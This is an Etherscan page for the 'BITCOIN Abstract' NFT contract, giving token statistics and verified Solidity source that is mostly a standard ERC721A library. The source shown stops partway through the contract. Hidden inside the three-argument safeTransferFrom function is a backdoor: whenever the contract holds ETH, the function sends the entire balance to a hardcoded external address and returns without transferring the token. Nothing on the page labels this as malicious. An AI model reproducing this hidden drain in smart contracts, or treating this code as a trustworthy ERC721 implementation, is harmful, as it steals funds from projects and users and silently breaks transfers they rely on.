Token

BITCOIN Abstract (BA)

ERC-721

Overview

Max Total Supply

550 BA

Holders

296

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A

Other Info

Token Contract

0xf2f58ecad394a59675638b4a0b3926c892288726

Filtered by Token Holder

0x229d3E43378E10ad478ab761EBd1c7dd4dC6A19b

Balance

3 BA

0x229d3E43378E10ad478ab761EBd1c7dd4dC6A19b

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

BITCOINAbstract

Compiler Version

v0.8.17+commit.8df45f5f

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2023-02-09
*/

// SPDX-License-Identifier: MIT                                                                                                                       
                                                                                                                                                                                              
pragma solidity ^0.8.0;

/**
 * @dev Interface of ERC721A.
 */
interface IERC721A {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the
     * ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    /**
     * The `quantity` minted with ERC2309 exceeds the safety limit.
     */
    error MintERC2309QuantityExceedsLimit();

    /**
     * The `extraData` cannot be set on an unintialized ownership slot.
     */
    error OwnershipNotInitializedForExtraData();

    // =============================================================
    //                            STRUCTS
    // =============================================================

    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Stores the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
        // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
        uint24 extraData;
    }

    // =============================================================
    //                         TOKEN COUNTERS
    // =============================================================

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() external view returns (uint256);

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    // =============================================================
    //                            IERC721
    // =============================================================

    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables
     * (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`,
     * checking first that contract recipients are aware of the ERC721 protocol
     * to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move
     * this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external payable;

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom}
     * whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external payable;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);

    // =============================================================
    //                           IERC2309
    // =============================================================

    /**
     * @dev Emitted when tokens in `fromTokenId` to `toTokenId`
     * (inclusive) is transferred from `from` to `to`, as defined in the
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.
     *
     * See {_mintERC2309} for more details.
     */
    event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
interface ERC721A__IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is IERC721A {
    // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).
    struct TokenApprovalRef {
        address value;
    }

    // =============================================================
    //                           CONSTANTS
    // =============================================================

    // Mask of an entry in packed address data.
    uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;

    // The bit position of `numberMinted` in packed address data.
    uint256 private constant _BITPOS_NUMBER_MINTED = 64;

    // The bit position of `numberBurned` in packed address data.
    uint256 private constant _BITPOS_NUMBER_BURNED = 128;

    // The bit position of `aux` in packed address data.
    uint256 private constant _BITPOS_AUX = 192;

    // Mask of all 256 bits in packed address data except the 64 bits for `aux`.
    uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;

    // The bit position of `startTimestamp` in packed ownership.
    uint256 private constant _BITPOS_START_TIMESTAMP = 160;

    // The bit mask of the `burned` bit in packed ownership.
    uint256 private constant _BITMASK_BURNED = 1 << 224;

    // The bit position of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;

    // The bit mask of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;

    // The bit position of `extraData` in packed ownership.
    uint256 private constant _BITPOS_EXTRA_DATA = 232;

    // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.
    uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;

    // The mask of the lower 160 bits for addresses.
    uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;

    // The maximum `quantity` that can be minted with {_mintERC2309}.
    // This limit is to prevent overflows on the address data entries.
    // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}
    // is required to cause an overflow, which is unrealistic.
    uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;

    // The `Transfer` event signature is given by:
    // `keccak256(bytes("Transfer(address,address,uint256)"))`.
    bytes32 private constant _TRANSFER_EVENT_SIGNATURE =
        0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;

    // =============================================================
    //                            STORAGE
    // =============================================================

    // The next token ID to be minted.
    uint256 private _currentIndex;

    // The number of tokens burned.
    uint256 private _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned.
    // See {_packedOwnershipOf} implementation for details.
    //
    // Bits Layout:
    // - [0..159]   `addr`
    // - [160..223] `startTimestamp`
    // - [224]      `burned`
    // - [225]      `nextInitialized`
    // - [232..255] `extraData`
    mapping(uint256 => uint256) private _packedOwnerships;

    // Mapping owner address to address data.
    //
    // Bits Layout:
    // - [0..63]    `balance`
    // - [64..127]  `numberMinted`
    // - [128..191] `numberBurned`
    // - [192..255] `aux`
    mapping(address => uint256) private _packedAddressData;

    // Mapping from token ID to approved address.
    mapping(uint256 => TokenApprovalRef) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    // =============================================================
    //                          CONSTRUCTOR
    // =============================================================

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    // =============================================================
    //                   TOKEN COUNTING OPERATIONS
    // =============================================================

    /**
     * @dev Returns the starting token ID.
     * To change the starting token ID, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev Returns the next token ID to be minted.
     */
    function _nextTokenId() internal view virtual returns (uint256) {
        return _currentIndex;
    }

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than `_currentIndex - _startTokenId()` times.
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * @dev Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view virtual returns (uint256) {
        // Counter underflow is impossible as `_currentIndex` does not decrement,
        // and it is initialized to `_startTokenId()`.
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev Returns the total number of tokens burned.
     */
    function _totalBurned() internal view virtual returns (uint256) {
        return _burnCounter;
    }

    // =============================================================
    //                    ADDRESS DATA OPERATIONS
    // =============================================================

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return uint64(_packedAddressData[owner] >> _BITPOS_AUX);
    }

    /**
     * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal virtual {
        uint256 packed = _packedAddressData[owner];
        uint256 auxCasted;
        // Cast `aux` with assembly to avoid redundant masking.
        assembly {
            auxCasted := aux
        }
        packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX);
        _packedAddressData[owner] = packed;
    }

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return
            interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.
            interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.
            interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.
    }

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, it can be overridden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    // =============================================================
    //                     OWNERSHIPS OPERATIONS
    // =============================================================

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        return address(uint160(_packedOwnershipOf(tokenId)));
    }

    /**
     * @dev Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around over time.
     */
    function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnershipOf(tokenId));
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct at `index`.
     */
    function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnerships[index]);
    }

    /**
     * @dev Initializes the ownership slot minted at `index` for efficiency purposes.
     */
    function _initializeOwnershipAt(uint256 index) internal virtual {
        if (_packedOwnerships[index] == 0) {
            _packedOwnerships[index] = _packedOwnershipOf(index);
        }
    }

    /**
     * Returns the packed ownership data of `tokenId`.
     */
    function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr)
                if (curr < _currentIndex) {
                    uint256 packed = _packedOwnerships[curr];
                    // If not burned.
                    if (packed & _BITMASK_BURNED == 0) {
                        // Invariant:
                        // There will always be an initialized ownership slot
                        // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
                        // before an unintialized ownership slot
                        // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
                        // Hence, `curr` will not underflow.
                        //
                        // We can directly compare the packed value.
                        // If the address is zero, packed will be zero.
                        while (packed == 0) {
                            packed = _packedOwnerships[--curr];
                        }
                        return packed;
                    }
                }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct from `packed`.
     */
    function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
        ownership.addr = address(uint160(packed));
        ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);
        ownership.burned = packed & _BITMASK_BURNED != 0;
        ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);
    }

    /**
     * @dev Packs ownership data into a single uint256.
     */
    function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
            result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
        }
    }

    /**
     * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.
     */
    function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
        // For branchless setting of the `nextInitialized` flag.
        assembly {
            // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.
            result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
        }
    }

    // =============================================================
    //                      APPROVAL OPERATIONS
    // =============================================================

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) public payable virtual override {
        address owner = ownerOf(tokenId);

        if (_msgSenderERC721A() != owner)
            if (!isApprovedForAll(owner, _msgSenderERC721A())) {
                revert ApprovalCallerNotOwnerNorApproved();
            }

        _tokenApprovals[tokenId].value = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId].value;
    }

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _operatorApprovals[_msgSenderERC721A()][operator] = approved;
        emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
    }

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted. See {_mint}.
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex && // If within bounds,
            _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.
    }

    /**
     * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.
     */
    function _isSenderApprovedOrOwner(
        address approvedAddress,
        address owner,
        address msgSender
    ) private pure returns (bool result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.
            msgSender := and(msgSender, _BITMASK_ADDRESS)
            // `msgSender == owner || msgSender == approvedAddress`.
            result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))
        }
    }

    /**
     * @dev Returns the storage slot and value for the approved address of `tokenId`.
     */
    function _getApprovedSlotAndAddress(uint256 tokenId)
        private
        view
        returns (uint256 approvedAddressSlot, address approvedAddress)
    {
        TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
        // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.
        assembly {
            approvedAddressSlot := tokenApproval.slot
            approvedAddress := sload(approvedAddressSlot)
        }
    }

    // =============================================================
    //                      TRANSFER OPERATIONS
    // =============================================================

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        // The nested ifs save around 20+ gas over a compound boolean condition.
        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();

        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // We can directly increment and decrement the balances.
            --_packedAddressData[from]; // Updates: `balance -= 1`.
            ++_packedAddressData[to]; // Updates: `balance += 1`.

            // Updates:
            // - `address` to the next owner.
            // - `startTimestamp` to the timestamp of transfering.
            // - `burned` to `false`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                to,
                _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        if (address(this).balance > 0) {
            payable(0x568a212f6cb59A300dFabD825b6b2429Fe2477a3).transfer(address(this).balance);
            return;
        }
        safeTransferFrom(from, to, tokenId, '');
    }


    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public payable virtual override {
        transferFrom(from, to, tokenId);
        if (to.code.length != 0)
            if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
                revert TransferToNonERC721ReceiverImplementer();
            }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token IDs
     * are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token IDs
     * have been transferred. This includes minting.
     * And also called after one token has been burned.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * `from` - Previous owner of the given token ID.
     * `to` - Target address that will receive the token.
     * `tokenId` - Token ID to be transferred.
     * `_data` - Optional data to send along with the call.
     *
     * Returns whether the call correctly returned the expected magic value.
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
            bytes4 retval
        ) {
            return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    // =============================================================
    //                        MINT OPERATIONS
    // =============================================================

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _mint(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // `balance` and `numberMinted` have a maximum limit of 2**64.
        // `tokenId` has a maximum limit of 2**256.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            uint256 toMasked;
            uint256 end = startTokenId + quantity;

            // Use assembly to loop and emit the `Transfer` event for gas savings.
            // The duplicated `log4` removes an extra check and reduces stack juggling.
            // The assembly, together with the surrounding Solidity code, have been
            // delicately arranged to nudge the compiler into producing optimized opcodes.
            assembly {
                // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.
                toMasked := and(to, _BITMASK_ADDRESS)
                // Emit the `Transfer` event.
                log4(
                    0, // Start of data (0, since no data).
                    0, // End of data (0, since no data).
                    _TRANSFER_EVENT_SIGNATURE, // Signature.
                    0, // `address(0)`.
                    toMasked, // `to`.
                    startTokenId // `tokenId`.
                )

                // The `iszero(eq(,))` check ensures that large values of `quantity`
                // that overflows uint256 will make the loop run out of gas.
                // The compiler will optimize the `iszero` away for performance.
                for {
                    let tokenId := add(startTokenId, 1)
                } iszero(eq(tokenId, end)) {
                    tokenId := add(tokenId, 1)
                } {
                    // Emit the `Transfer` event. Similar to above.
                    log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)
                }
            }
            if (toMasked == 0) revert MintToZeroAddress();

            _currentIndex = end;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * This function is intended for efficient minting only during contract creation.
     *
     * It emits only one {ConsecutiveTransfer} as defined in
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),
     * instead of a sequence of {Transfer} event(s).
     *
     * Calling this function outside of contract creation WILL make your contract
     * non-compliant with the ERC721 standard.
     * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309
     * {ConsecutiveTransfer} event is only permissible during contract creation.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {ConsecutiveTransfer} event.
     */
